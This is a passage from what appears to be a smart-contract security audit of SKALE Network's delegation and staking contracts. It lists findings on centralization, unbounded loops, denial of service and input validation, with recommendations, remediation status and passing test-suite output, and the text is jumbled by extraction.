gas, and cap the number of delegations or increase the minimum price accordingly. Recommendation:_activeByValidator[validatorId] QSP-5 Unlocked Pragma Severity: Low Risk Fixed Status: File(s) affected: (multiple) Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked." Description:pragma solidity (^)0.5.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation:QSP-6 Use of Experimental Features Severity: Low Risk Fixed Status: File(s) affected: delegation/*.sol The project is using , which enables an experimental version of the ABI encoder. Experimental features may contain bugs, such as . Description:pragma experimental ABIEncoderV2 this We recommend incrementing and fixing at or beyond , staying up-to-date with regards to any new -related issues, and addressing them in a timely manner. Recommendation:pragma solidity 0.5.7 ABIEncoderV2 QSP-7 Centralization of Power Severity: Low Risk Acknowledged Status: File(s) affected: (multiple) Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. Description:owner 1. Sincepermits the owner of the contract to interact with any of its functions, the owner can grief any wallet by setting an arbitrarily high allow() timeLimit 2. The owner can invokeand update the balance of any wallet as desired. tokensReceived() These issues exist for essentially any function using , which includes most contracts. For example, can set arbitrary delegation amounts. allowDelegation* DelegationController.setDelegationAmount() Apart from these: 1. The owner can changeat any time, which could influence upcoming distributions of shares in via : setDelegationPeriod()Distributor.distribute() L100 uint multiplier = delegationPeriodManager.stakeMultipliers(delegation.delegationPeriod);2. In, the owner may censor validators via and . ValidatorService enableValidator() disableValidator() Recommendation: 1. Potentially, removing theconditional from the modifiers. isOwner() allow 2. Make the centralization of power clear to end-users.: Not fixed, the provided rationale: "SKALE Network plans to communicate clearly the plans for admin control and how this will be graduallydecentralized. More importantly, admin is economically incentivized against this attack". UpdateQSP-8 Transaction-Ordering Dependency in Validator Registration Severity: Low Risk Fixed Status: File(s) affected: delegation/DelegationService.sol In , there is transaction-ordering dependency between on and . Description:DelegationService.sol registerValidator() L161 DelegationService.linkNodeAddress() L180 Anyone can grief someone attempting to by calling and setting to the value from the transaction. The registration will then fail due to of : . Exploit Scenario:registerValidator() linkNodeAddress() nodeAddress msg.sender registerValidator() L67 ValidatorService.solrequire(_validatorAddressToId[validatorAddress] == 0, "Validator with such address already exists"); Transaction-ordering is often difficult to fix without introducing changes to system design. However, we are just bringing the potential issue to the team's attention. Recommendation:QSP-9 Unintentional Locking of Tokens upon Cancelation Severity: Low Risk Fixed Status: File(s) affected: delegation/TokenState.sol , : the logic enables the possibility of ending up having locked more tokens than expected. Description: TokenState.sol L205 Exploit Scenario: 1. A user gets 20 tokens from the token sale (and they are, therefore, locked)2. The user receives a transfer of 5 tokens from someone else3. The user requests a delegation of 25 tokens4. The user's delegation gets canceled5. The user ends up having 25 locked tokens instead of the original 20 tokens.Reconsider the logic in . Recommendation: TokenState.sol QSP-10 Validator Registration "Spamming" Severity: Low Risk Acknowledged Status: File(s) affected: delegation/DelegationService.sol The method is open to the public: anyone can call it and spam the network with registering arbitrary addresses as validators. This will pollute the contract with validator entries that do not do anything yet have an impact on the smart contract's state. For instance, would become high but this would not reflect the actual state of the network. Description:registerValidator() numberOfValidators We suggest adding a mechanism for preventing adding arbitrary validator registrations. Alternatively, making it so that adding new validators does not affect the contract state (e.g., calculate differently, e.g., only adding up trusted validators). Recommendation:numberOfValidators Unresolved, the rationale: "validators must pay for gas to register, so this naturally reduces DoS. Receiving a validator ID does not allow the user to do anything special - unless they are a part of whitelist." However, as of , there is an added issue, see . Update:remediation-3 QSP-16 : The implications of this issue are mitigated in . Update 8c6a218 QSP-11 Misusing / / require() assert() revert() Severity: Informational Acknowledged Status: File(s) affected: thirdparty/BokkyPooBahsDateTimeLibrary.sol, delegation/DelegationController.sol , , and all have their own specific uses and should not be switched around. Description: require() revert() assert() checks that certain preconditions are true before a function is run. • require(), when hit, will undo all computation within the function. • revert()is meant for checking that certain invariants are true. An failure implies something that should never happen, such as integer overflow, has occurred. •assert()assert() Recommendation: 1.: use instead of on lines , , , , , , , , , , , and BokkyPooBahsDateTimeLibrary.sol assert require 217 2322362402442482622772812852892932. , use instead of on lines , , and . DelegationController.sol assert require L134 L165L193 only fixed in . However, this is up to the Skale Labs team to decide whether the date-time library should be fixed or not. Update:DelegationController.sol the team made a decision to not update the date-time library, which is fair in this case. Update: QSP-12 Stubbed Functions in DelegationService Severity: Informational Fixed Status: File(s) affected: delegation/DelegationService.sol There are several stubbed functions in this contract, e.g., on or on , which seem important, particularly, since no events are emitted that would easily alert a delegator that a new delegation offer is associated with them. Description:listDelegationRequests() L90 getDelegationRequestsForValidator() L156 Consider implementing the stubbed functions. Recommendation: QSP-13 Unhandled Edge Case in Validator Existence Check Severity: Informational Fixed Status: File(s) affected: delegation/DelegationService.sol , : incorrectly returns if the input is , which could affect any function with the modifier . Note that defines the first validator and ID 1. Description:ValidatorService.sol L181 validatorExists()true 0 checkValidatorExists() L69 validatorId = ++numberOfValidators;Return when the validator address argument is provided as . Recommendation: false 0 QSP-14 Potentially Unsafe Use of Loops Severity: Informational Fixed Status: File(s) affected: (multiple) "For" loops are used throughout to iterate over active delegations or distribution shares. Examples include (with the respective. bounds): Description: : : • DelegationController.solL75-79, L115-128, L132-137, L182-187, L191-197 _activeByValidator[validatorId].length : : • DelegationController.solL154-159, L163-169 _delegationsByHolder[holderAddress].length : : • delegation/DelegationService.solL103-105 shares.length : : • delegation/Distributor.solL95-107, L109-117 activeDelegations.length : : • delegation/TokenState.solL63-69, L76-82 delegationIds.length : : • delegation/TokenState.solL161-163 _endingDelegations[holder].length : : • delegation/TokenState.solL246-256 _endingDelegations[delegation.holder].length If the value of a loop's upper bound is very high, it may cause a transaction to run out of gas and potentially lead to other higher-severity issues, such as . QSP-4 We recommend running gas analysis for the loops. This would identify the viable bounds for each loop, which consequently could be used for adding constraints to prevent overflows. Recommendation:this instance was fixed, however, there are now more potential issues with loops, see . Update: QSP-17 QSP-15 Denial-of-Service (DoS) Severity: Medium Risk Fixed Status: File(s) affected: ConstantsHolder.sol : The owner can overwrite the at any point using . It is unclear why this functionality is necessary, but if abused (with a low likelihood) and set to a time very far into the future, it could lock the two functions and . Description:ConstantsHolder.sol, L165 launchTimestamp setLaunchTimestamp() Distributor withdrawBounty() withdrawFee() Consider removing the ability to override the launch timestamp. Recommendation: : fixed in and . Update 8652d74 0164b22 QSP-16 Denial-of-Service (DoS)Severity: Low Risk Fixed Status: File(s) affected: ValidatorService.sol : iterates over all validator entries. However, as per , any party can arbitrarily submit requests that increment . While block gas limits should not be an issue for external view methods, the method may end up iterating over many unconfirmed validators, which could extend the load or execution time of the Ethereum node that executes the method. Description:L127 getTrustedValidators(...)numberOfValidators QSP-10 registerValidator(...) numberOfValidators Consider tracking trusted validators differently, in order to avoid iterating over unconfirmed validators. Recommendation: QSP-17 Potentially Unsafe Use of Loops (2) Severity: Low Risk Acknowledged Status: File(s) affected: delegation/DelegationController.sol, delegation/ValidatorService.sol, delegation/TokenState.sol We found the following locations in code where for loops are still used: Description: 1. In, there are two invocations of the method: , : . They both use the overloaded instance of that does not take as an input parameter: DelegationController.solprocessAllSlashes(...) processAllSlashes(holder); L339 processAllSlashes(msg.sender)processAllSlashes limit function processAllSlashes(address holder) public { processSlashes(holder, 0); } This eventually calls with the limit set to (or, unlimited). processSlashesWithoutSignals(...) 0 In addition, : , : , and : also call with the limit set to . L201processSlashesWithoutSignals(holder)L231 processSlashesWithoutSignals(msg.sender);L280 processSlashesWithoutSignals(delegations[delegationId].holder); processSlashesWithoutSignals(...) 0 If the limit is set to , sets as the bound for the loop. If happens to contain too many slashes, there is a chance for the loop at to cause a "block gas limit exceeded" issue. 0L899_slashes.length end _slashes.length L903 for (; index < end; ++index) {2. Similarly, in, has a for-loop: if there are too many slashing signals, a block gas limit issue could be hit. DelegationController.solsendSlashingSignals(...) 3. In, and contain use of potentially unbounded loops. Block gas limits are more difficult to exceed because it requires a specific validator to register too many node addresses, however, we are highlighting it for awareness. delegation/ValidatorService.solL305 L3374. : iterations over the lockers could, in theory, lead to the "block out of gas exceptions". However, since the methods are , the risk is pretty low assuming the responsibility of the owner. delegation/TokenState.solownerOnly Perform gas analysis and define mitigation strategies for the loops in and to ensure the block gas limit is never hit, and none of the contract methods are blocked due to this. Cap the number of slashings if possible. Recommendation:DelegationController.sol ValidatorService.sol Update: The Skale Labs team provided the following responses (quoted): 1. Issue is known and acceptable because initial network phases will operate with slashing off to verify very low probability of slashing events. It is expected thatslashing will be rare event, and in the exceptional case of many slashing events, it is possible to batch executions. 2. Same as above in 1.3. Acknowledged and optimization is planned. For initial network phases it will be difficult to exceed as the Quantstamp team notes.4. There will only be 3-4 total lockers.QSP-18 Lack of Array Length Reduction Severity: Low Risk Fixed Status: File(s) affected: delegation/ValidatorService.sol, delegation/TokenLaunchLocker.sol There are two instances when an array item is removed but the array length is not explicitly reduced: Description: 1. , : The lack of length reduction of is likely unintentional after - in . ValidatorService.solL212 validatorNodes.length delete validators[validatorId].nodeIndexes[validatorNodes.length.sub(1)]; Fixed 7e040bf2. , : : may also need to reset the array lengths for and . (code removed). delegation/TokenLaunchLocker.solL237 deletePartialDifferencesValue(...)sequence.addDiff sequence.subtractDiff Fixed Add length decrements where appropriate. Recommendation: QSP-19 Unclear Purpose of the AssignmentSeverity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol , : the purpose of the assignment is not clear. Description:In delegation/DelegationController.sol L609 _firstUnprocessedSlashByHolder[holder] = _slashes.length; Clarify the purpose. Improve the developer documentation. Recommendation: the team has provided a clarification: Update: `_slashes` is a list of all slashing events that have occurred in the network. When skale-manager calculates the amount of locked tokens, it iterates over this list. Each item is processed only once. When a token holder creates their first delegation, it is set first as an unprocessed slash as `_slashes.length` to avoid processing of all slashed before that. This obviously does not affect the holder. QSP-20 Unclear State List for isTerminated(...) Severity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol Currently, in , includes two states: and . However, there is also the state, which seems to be unaccounted for, and it is unclear if this is intentional. Note that this affects the function below. Description:delegation/DelegationController.sol isTerminated() COMPLETED REJECTED CANCELED isLocked() Clarifying the intention and accounting for the state as needed. Recommendation: CANCELED : the logic has been removed from the code in . Update 1da7bbd QSP-21 Unclear Intention for in totalApproved TokenLaunchManager Severity: Undetermined Fixed Status: File(s) affected: delegation/TokenLaunchManager.sol It is not clear if the require-statement on : will work as intended. The only accounts for the new values passed into the function but does not consider approval amounts made previously. It is unclear which is desirable here. Description:L60 require(totalApproved <= getBalance(), "Balance is too low");totalApproved Clarifying the intention and fixing as necessary. Recommendation: : the logic has been updated to count the approvals globally. Update QSP-22 Potential Violation of the Spec Severity: Informational Acknowledged Status: File(s) affected: delegation/TokenState.sol In , if a locker such as the is removed via , parts of the spec will not be enforced, e.g., "Slashed funds will be held in an escrow account for the first year.". Description:delegation/TokenState.sol Punisher removeLocker() Clarifying the intention and fixing as necessary. Recommendation: the team has provided an explanation that the owner is de-incentivized from harming the network. No fix is provided. Update: QSP-23 Inconsistent Behaviour of addToLockedInPendingDelegations(...) Severity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol In , : the behaviour of is inconsistent with the behaviour of : in the latter case, the is being subtracted from the existing amount, while in the former, it simply overwrites with the new `amount. Description:delegation/DelegationController.sol L571 addToLockedInPendingDelegations(...) subtractFromLockedInPerdingDelegations(...) amount _lockedInPendingDelegations[holder].amount Clarifying the intention of the method and fixing as necessary. Recommendation: addToLockedInPendingDelegations(...) : the logic has been updated, and is now consistent with . UpdateaddToLockedInPendingDelegations(...) subtractFromLockedInPerdingDelegations(...) QSP-24 Error-prone Logic for delegated.mul(2) Severity:Informational Fixed Status: File(s) affected: delegation/TokenLaunchHolder.sol In , both : and : contain the "magic" value of . This makes the logic error-prone, as the constant is scattered around while lacking a developer documentation. Description:delegation/TokenLaunchHolder L117 if (_totalDelegatedAmount[wallet].delegated.mul(2) >=_locked[wallet] && L163 if (_totalDelegatedAmount[holder].delegated.mul(2) < _locked[holder]) {2 Centralizing the constant, defining it in a single place. Improving the documentation accordingly. Recommendation: : Fixed in . Update 1da7bbd QSP-25 Event Emitted Regardless of Result Severity: Informational Fixed Status: File(s) affected: delegation/TokenState.sol In , : the event is emitted regardless of whether the locked gets removed or not. Description: delegation/TokenState.sol L73 Confirming if this behaviour is intentional and fixing it as necessary. Recommendation: : Fixed in . Update 1da7bbd QSP-26 Missing Input Validation Severity: Low Risk Fixed Status: File(s) affected: delegation/TokenLaunchManager.sol, contracts/Permissions.sol The following locations are missing input parameter validation: Description: 1. , : should check that is a non-zero address. delegation/TokenLaunchManager.sol L74 seller 2. , : should check that is a non-zero address while is above zero. delegation/TokenLaunchManager.sol L56 walletAddress[i] value[i] 3. , : should be checked to be non-zero. contracts/Permissions.sol L36 _contractManagerAdding the missed input validation. Recommendation: : Fixed in . Update 1da7bbd Adherence to Specification Generally, it is difficult to assess full adherence to the specification since the specification is incomplete, and the code appears to be poorly documented. This remains to be an issue for the latest commit . For the commit : remediation-3 50c8f4e , : the requirement described in the comment is actually not enforced in the code. in . •delegation/DelegationPeriodManager.solL43 remove only if there is no guys that stacked tokens for this period Fixed bd17697: : We believe the is used because "Delegation requests are always for the next epoch (month)." as per the Spec document, but this should be clarified in the code directly. (code removed). •delegation/TimeHelpers.solL42 + 1 Fixed : - the rationale for the logic in this function is not documented, and therefore, is difficult to assess. (code refactored). •delegation/TimeHelpers.solcalculateDelegationEndTime() Fixed Code Documentation The code appears to be poorly documented. The function descriptions from the Spec document should be directly inlined in the code. The coupling of the contracts with various statements makes the architecture difficult to follow. In addition, there are grammatical errors in documentation, and we suggest spell-checking all the comments in the project. This remains to be an issue for the latest commit as well, while some of the issues highlighted for commit were fixed. allow()remediation-3 50c8f4e : For the commit 50c8f4e 1. , : The function increases the allowance of each wallet address ( on ). This should be documented, since the typical function sets the approval to the new value. The semantics of this function more closely relates to . : in . delegation/TokenSaleManager.solL47 approve() += L51ERC20.approve() increaseApproval() Fixed 1da7bbd2. , : a typo: "begining". (removed). interfaces/delegation/IHolderDelegation.sol L26 Fixed 3. , : "it's" -> 'its". (removed). interfaces/delegation/IHolderDelegation.sol L34 Fixed 4.: : "for this moment in skale manager system by human name." Perhaps, changing this to "This contract contains the current mapping from contract IDs (in the form of human-readable strings) to addresses."`. (removed). ContractManager.solL27 Fixed 5. , (similar on ): "is not equal zero" -> "is not equal to zero". (removed). ContractManager.sol L43 L44 Fixed 6. , : "is not contain code" -> "does not contain code". (removed). ContractManager.sol L54 Fixed 7. , : typo in "epmtyArray". (removed). delegation/ValidatorService.sol L68 Fixed 8. : : "specify" -> "the specified". . SkaleToken.sol L58 Fixed 9. , : typo: "founds" -> "found". . delegation/DelegationService.sol L251 Fixed : For the commit remediation-3 1. , : : a potential typo ( seems to be the intended name). . delegation/DelegationController.solL582 subtractFromLockedInPerdingDelegations(...)subtractFromLockedInPendingDelegations Fixed 2. , : - a typo. . ConstantsHolder.sol L146 iverloadedFixed 3. , : The event field is misspelled. . DelegationPeriodManager.sol L32 legth Fixed Adherence to Best Practices : For the commit 50c8f4e 1. , : this could be replaced by the which contains more robust checks for contracts. . ContractManager.sol L49-54 Open Zeppelin Address library Not fixed 2. Favour usinginstead of . . uint256 uint Not fixed 3. Cyclic imports in. Generally, the architecture is a bit hard to follow. . delegation/* Not fixed 4. The contracts use almost no events, which could make contract monitoring more difficult than necessary.(now events are used). Fixed 5. , : commented out code and a TODO. (file removed). interfaces/delegation/IValidatorDelegation.sol L53-54 Fixed 6. , (and similarly, ): could simply be . . delegation/ValidatorService.solL136 L127 return getValidatorId(validatorAddress) == validatorId ?true : false return getValidatorId(validatorAddress) == validatorId Not fixed 7. , : The constructor should check that is non-zero. in . Permissions.sol L68 newContractsAddress Fixed c6718398. , : can simplify to . . delegation/DelegationPeriodManager.sol L35 return stakeMultipliers[monthsCount] != 0; Not fixed 9. , : a leftover TODO. . delegation/TokenState.sol L132 Fixed 10. , : a modifier is commented out, need to confirm if it is intentional or not. (confirmed it is a comment). SkaleToken.sol L75 Addressed 11. , : is not the most intuitive name, because it actually modifies the contract's state. Suggesting naming it . The same applies to the methods , , , and other files, such as on , . . delegation/DelegationController.solL78 getStaterefreshState getActiveDelegationsByValidator getDelegationsTotal getDelegationsByHolder getDelegationsForValidator getPurchasedAmount TokenState.sol L159 Fixed 12. , : should check that and are non-zero. . delegation/DelegationService.solL180 linkNodeAddress()nodeAddress validatorAddress Fixed 13. and : , is unnecessary. (a false-positive). interfaces/delegation/IValidatorDelegation.soldelegation/DelegationController.sol L21 pragma experimentalABIEncoderV2; Fixed 14. , : usused variable . . delegation/DelegationController.sol L78 state Fixed 15. , : unless the order matters, instead of running the inner loop ( ), could move the last element into . . delegation/TokenState.solL246-256 L249-251 _endingDelegations[delegation.holder][i] Fixed 16. , : should check that is non-zero. . delegation/ValidatorService.sol L56 registerValidator()validatorAddress Fixed : For the commit remediation-3 1. : the structs and look very similar: the purpose for having both remains unclear. Also, it does not follow a naming practice of not using the word “Value” DelegationPeriodManager.solPartialDifferencesValue PartialDifferences 2. : readability and potential error-proneness of the method. The code of seems to be complex. The function has five overloads, and two of them have overlap. The logic of calculating the differences is intertwined with the handling of corner cases of . The overloads of at and have significant overlaps, and it is unclear why both are needed. DelegationPeriodManager.solreduce(...) delegation/DelegationConroller.sol reduce firstUnprocessedMonth reduce L780 L815 3. : and : and seem to be identical - any reason for having two different methods? DelegationPeriodManager.solL250 L254 getAndUpdateLockedAmount(...)getAndUpdateForbiddenForDelegationAmount(...) 4. , : could be replaced with instead of repeatedly adding to each term DelegationPeriodManager.solL289-313 currentMonth.add(1) delegations[delegationId].started 1 5. , : naming does not differentiate the units, which could lead to bugs: DelegationPeriodManager.sol L55-56 uint created; // time of creation - measured as a timestampuint started; // month when a delegation becomes active - measured in months 6. , : changes its meaning after a re-assignment, this is not recommended.DelegationPeriodManager.sol L642 ifor (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { 1. : fraction and GCD methods should be placed in a separate file. DelegationPeriodManager.sol 2. , : should be a shared constant delegation/ValidatorService.sol L99 10003. , and : is unnecessary delegation/ValidatorService.sol L186 L194? true : false;4. , : could be delegation/DelegationPeriodManager.sol L38 return stakeMultipliers[monthsCount] != 0 ? true : false;return (stakeMultipliers[monthsCount] != 0) 5. , : the constant should be defined as a named constant at the contract level delegation/Distributor.sol L83 3 6. , : the message should say “Fee is locked” delegation/Distributor.solL108 require(now >= timeHelpers.addMonths(constantsHolder.launchTimestamp(), 3),"Bounty is locked"); 7. , : duplicate definitions of and : already defined in . delegation/TokenLaunchLocker.solL46 PartialDifferencesValue getAndUpdateValue(...) DelegationController.sol 8. , : is unused (outside tests). utils/MathUtils.sol L40 boundedSubWithoutEvent(...)9. , : the amount emitted in should possibly be in the case that . delegation/Punisher.solL68 Forgive() _locked[holder] amount > _locked[holder] 10. : the function should have the require check that similar to in . Otherwise, this function could potentially shorten the list of validators without actually finding the correct one. delegaion/ValidatorService.soldeleteNode() position < validatorNodes.length checkPossibilityToMaintainNode() 11. : the internal function on does not appear to be used. delegation/DelegationController.sol init() L628 12. : The else-branch on of can never be reached due to and . It is not clear what the intended semantics here. Likely, needs a similar to . delegation/DelegationController.solL698 add()L686 L688L686 .add(1) L703 13. : The if-conditional on can never fail due to the require-condition on , and should be removed. delegation/DelegationController.solL725 sequence.firstUnprocessedMonth <= monthL720 month.add(1) >= sequence.firstUnprocessedMonth14. : Lots of duplicate code in the two functions on and . delegation/DelegationController.sol reduce() L780 L81515. : The require on : is not necessary due to the use of directly below. delegation/DelegationController.solL586 _lockedInPendingDelegations[holder].amount >= amount.sub() Test Results Test Suite Results For the commit , within the scope of the audit, two tests have failed on our side. We re-ran the tests for the commit , and they all passed. remediation-39d60180 Contract: ContractManager ✓ Should deploy ✓ Should add a right contract address (ConstantsHolder) to the register (100ms) Contract: Delegation when holders have tokens and validator is registered ✓ should check 1 month delegation period availability ✓ should not allow to send delegation request for 1 month (421ms) ✓ should check 2 months delegation period availability (49ms) ✓ should not allow to send delegation request for 2 months (379ms) ✓ should check 3 months delegation period availability ✓ should check 4 months delegation period availability ✓ should not allow to send delegation request for 4 months (299ms) ✓ should check 5 months delegation period availability ✓ should not allow to send delegation request for 5 months (324ms) ✓ should check 6 months delegation period availability ✓ should check 7 months delegation period availability ✓ should not allow to send delegation request for 7 months (333ms) ✓ should check 8 months delegation period availability ✓ should not allow to send delegation request for 8 months (327ms) ✓ should check 9 months delegation period availability ✓ should not allow to send delegation request for 9 months (331ms) ✓ should check 10 months delegation period availability ✓ should not allow to send delegation request for 10 months (351ms) ✓ should check 11 months delegation period availability ✓ should not allow to send delegation request for 11 months (336ms) ✓ should check 12 months delegation period availability ✓ should check 13 months delegation period availability ✓ should not allow to send delegation request for 13 months (370ms) ✓ should check 14 months delegation period availability ✓ should not allow to send delegation request for 14 months (300ms)✓ should check 15 months delegation period availability ✓ should not allow to send delegation request for 15 months (335ms) ✓ should check 16 months delegation period availability ✓ should not allow to send delegation request for 16 months (573ms) ✓ should check 17 months delegation period availability ✓ should not allow to send delegation request for 17 months (345ms) ✓ should check 18 months delegation period availability ✓ should not allow to send delegation request for 18 months (349ms) ✓ should not allow holder to delegate to unregistered validator (320ms) ✓ should calculate bond amount if validator delegated to itself (2725ms) ✓ should calculate bond amount if validator delegated to itself using different periods (2601ms) ✓ should bond equals zero for validator if she delegated to another validator (3819ms) ✓ should be possible for N.O.D.E. foundation to spin up node immediately (461ms) Reduce holders amount to fit Travis timelimit ✓ should be possible to distribute bounty accross thousands of holders (23927ms) when delegation period is 3 months ✓ should send request for delegation (575ms) when delegation request is sent ✓ should not allow to burn locked tokens (796ms) ✓ should not allow holder to spend tokens (2199ms) ✓ should allow holder to receive tokens (448ms) ✓ should accept delegation request (455ms) ✓ should unlock token if validator does not accept delegation request (1152ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (6710ms) when delegation period is 6 months ✓ should send request for delegation (740ms) when delegation request is sent ✓ should not allow to burn locked tokens (789ms) ✓ should not allow holder to spend tokens (2758ms) ✓ should allow holder to receive tokens (396ms) ✓ should accept delegation request (528ms) ✓ should unlock token if validator does not accept delegation request (1382ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (7343ms) when delegation period is 12 months ✓ should send request for delegation (671ms) when delegation request is sent ✓ should not allow to burn locked tokens (685ms) ✓ should not allow holder to spend tokens (2252ms) ✓ should allow holder to receive tokens (616ms) ✓ should accept delegation request (394ms) ✓ should unlock token if validator does not accept delegation request (1397ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (6210ms) when 3 holders delegated ✓ should distribute funds sent to Distributor across delegators (5112ms) Slashing ✓ should slash validator and lock delegators fund in proportion of delegation share (4354ms) ✓ should not lock more tokens than were delegated (1838ms) ✓ should allow to return slashed tokens back (1415ms) ✓ should not pay bounty for slashed tokens (2847ms) ✓ should reduce delegated amount immediately after slashing (625ms) ✓ should not consume extra gas for slashing calculation if holder has never delegated (3706ms) Contract: DelegationController when arguments for delegation initialized ✓ should reject delegation if validator with such id does not exist (281ms) ✓ should reject delegation if it doesn't meet minimum delegation amount (282ms) ✓ should reject delegation if request doesn't meet allowed delegation period (344ms) ✓ should reject delegation if holder doesn't have enough unlocked tokens for delegation (952ms) ✓ should send request for delegation (876ms) ✓ should reject delegation if it doesn't have enough tokens (2037ms) ✓ should reject canceling if delegation doesn't exist (63ms) ✓ should allow to delegate if whitelist of validators is no longer supports (1324ms) when delegation request was created ✓ should reject canceling request if it isn't actually holder of tokens (67ms) ✓ should reject canceling request if validator already accepted it (448ms) ✓ should reject canceling request if delegation request already rejected (248ms) ✓ should change state of tokens to CANCELED if delegation was cancelled (209ms) ✓ should reject accepting request if such validator doesn't exist (126ms) ✓ should reject accepting request if validator already canceled it (364ms) ✓ should reject accepting request if validator already accepted it (565ms) ✓ should reject accepting request if next month started (526ms) ✓ should reject accepting request if validator tried to accept request not assigned to him (295ms) ✓ should allow for QA team to test delegation pipeline immediately (2015ms) when delegation is accepted ✓ should allow validator to request undelegation (530ms) ✓ should not allow everyone to request undelegation (713ms) Contract: PartialDifferences ✓ should calculate sequences correctly (1345ms) Contract: TokenLaunchManager ✓ should register seller (177ms) ✓ should not register seller if sender is not owner (81ms) when seller is registered ✓ should not allow to approve transfer if sender is not seller (59ms) ✓ should fail if parameter arrays are with different lengths (67ms) ✓ should not allow to approve transfers with more then total money amount in sum (156ms) ✓ should not allow to retrieve funds if it was not approved (114ms) ✓ should not allow to retrieve funds if launch is not completed (159ms) ✓ should allow seller to approve transfer to buyer (1735ms) ✓ should allow seller to change address of approval (851ms) ✓ should allow seller to change value of approval (702ms) when holder bought tokens ✓ should lock tokens (748ms) ✓ should not unlock purchased tokens if delegation request was cancelled (1506ms) ✓ should be able to delegate part of tokens (4713ms) ✓ should unlock all tokens if 50% was delegated for 90 days (3020ms)✓ should unlock no tokens if 40% was delegated (2451ms) ✓ should unlock all tokens if 40% was delegated and then 10% was delegated (5434ms) ✓ should unlock tokens after 3 month after 50% tokens were used (3733ms) ✓ should unlock tokens if 50% was delegated and then slashed (2787ms) ✓ should not lock free tokens after delegation request cancelling (2929ms) Contract: DelegationController ✓ should not lock tokens by default (205ms) ✓ should not allow to get state of non existing delegation when delegation request is sent ✓ should be in `proposed` state (98ms) ✓ should automatically unlock tokens after delegation request if validator don't accept (270ms) ✓ should allow holder to cancel delegation before acceptance (744ms) ✓ should not allow to accept request after end of the month (510ms) when delegation request is accepted ✓ should allow to move delegation from proposed to accepted state (261ms) ✓ should not allow to request undelegation while is not delegated (161ms) ✓ should not allow to cancel accepted request (168ms) when 1 month was passed ✓ should become delegated (256ms) ✓ should allow to send undelegation request (923ms) Contract: ValidatorService ✓ should register new validator (155ms) ✓ should reject if validator tried to register with a fee rate higher than 100 percent (61ms) when validator registered ✓ should reject when validator tried to register new one with the same address (64ms) ✓ should reset name, description, minimum delegation amount (203ms) ✓ should link new node address for validator (138ms) ✓ should reject if linked node address tried to unlink validator address (150ms) ✓ should reject if validator tried to override node address of another validator (333ms) ✓ should not link validator like node address (220ms) ✓ should unlink node address for validator (460ms) ✓ should not allow changing the address to the address of an existing validator (168ms) ✓ should reject when someone tries to set new address for validator that doesn't exist (60ms) ✓ should reject if validator tries to set new address as null (61ms) ✓ should reject if provided validatorId equals zero (65ms) ✓ should return list of trusted validators (442ms) when validator requests for a new address ✓ should reject when hacker tries to change validator address (89ms) ✓ should set new address for validator (153ms) when holder has enough tokens ✓ should allow to enable validator in whitelist (112ms) ✓ should allow to disable validator from whitelist (311ms) ✓ should not allow to send delegation request if validator isn't authorized (284ms) ✓ should allow to send delegation request if validator is authorized (525ms) ✓ should be possible for the validator to enable and disable new delegation requests (1642ms) Contract: SkaleManager ✓ should fail to process token fallback if sent not from SkaleToken (80ms) ✓ should transfer ownership (199ms) when validator has delegated SKALE tokens ✓ should create a node (588ms) ✓ should not allow to create node if validator became untrusted (1047ms) when node is created ✓ should fail to init exiting of someone else's node (180ms) ✓ should initiate exiting (370ms) ✓ should remove the node (457ms) ✓ should remove the node by root (410ms) when two nodes are created ✓ should fail to initiate exiting of first node from another account (168ms) ✓ should fail to initiate exiting of second node from another account (168ms) ✓ should initiate exiting of first node (382ms) ✓ should initiate exiting of second node (389ms) ✓ should remove the first node (416ms) ✓ should remove the second node (436ms) ✓ should remove the first node by root (410ms) ✓ should remove the second node by root (756ms) ✓ should check several monitoring periods (5157ms) when 18 nodes are in the system ✓ should fail to create schain if validator doesn't meet MSR (449ms) ✓ should fail to send monitor verdict from not node owner (146ms) ✓ should fail to send monitor verdict if send it too early (172ms) ✓ should fail to send monitor verdict if sender node does not exist (148ms) ✓ should send monitor verdict (258ms) ✓ should send monitor verdicts (433ms) when monitor verdict is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (120ms) ✓ should estimate bounty (277ms) ✓ should get bounty (3190ms) when monitor verdict with downtime is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (271ms) ✓ should get bounty (4312ms) ✓ should get bounty after break (4211ms) ✓ should get bounty after big break (4157ms) when monitor verdict with latency is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (115ms) ✓ should get bounty (3389ms) ✓ should get bounty after break (3186ms) ✓ should get bounty after big break (6498ms) when developer has SKALE tokens ✓ should create schain (3345ms) when schain is created ✓ should fail to delete schain if sender is not owner of it (213ms) ✓ should delete schain (2039ms) ✓ should delete schain after deleting node (4645ms) when another schain is created✓ should fail to delete schain if sender is not owner of it (180ms) ✓ should delete schain by root (2712ms) when 32 nodes are in the system when developer has SKALE tokens ✓ should create 2 medium schains (6351ms) when schains are created ✓ should delete first schain (2249ms) ✓ should delete second schain (2254ms) when 16 nodes are in the system ✓ should create 16 nodes & create & delete all types of schain (38429ms) Contract: SkaleToken ✓ should have the correct name ✓ should have the correct symbol ✓ should have the correct decimal level ✓ should return the сapitalization of tokens for the Contract ✓ owner should be equal owner (41ms) ✓ should check 10 SKALE tokens to mint (38ms) ✓ the owner should have all the tokens when the Contract is created ✓ should return the total supply of tokens for the Contract ✓ any account should have the tokens transferred to it (424ms) ✓ should not let someone transfer tokens they do not have (1006ms) ✓ an address that has no tokens should return a balance of zero ✓ an owner address should have more than 0 tokens ✓ should emit a Transfer Event (335ms) ✓ allowance should return the amount I allow them to transfer (84ms) ✓ allowance should return the amount another allows a third account to transfer (81ms) ✓ allowance should return zero if none have been approved for the account ✓ should emit an Approval event when the approve method is successfully called (57ms) ✓ holder balance should be bigger than 0 eth ✓ transferFrom should transfer tokens when triggered by an approved third party (404ms) ✓ the account funds are being transferred from should have sufficient funds (1000ms) 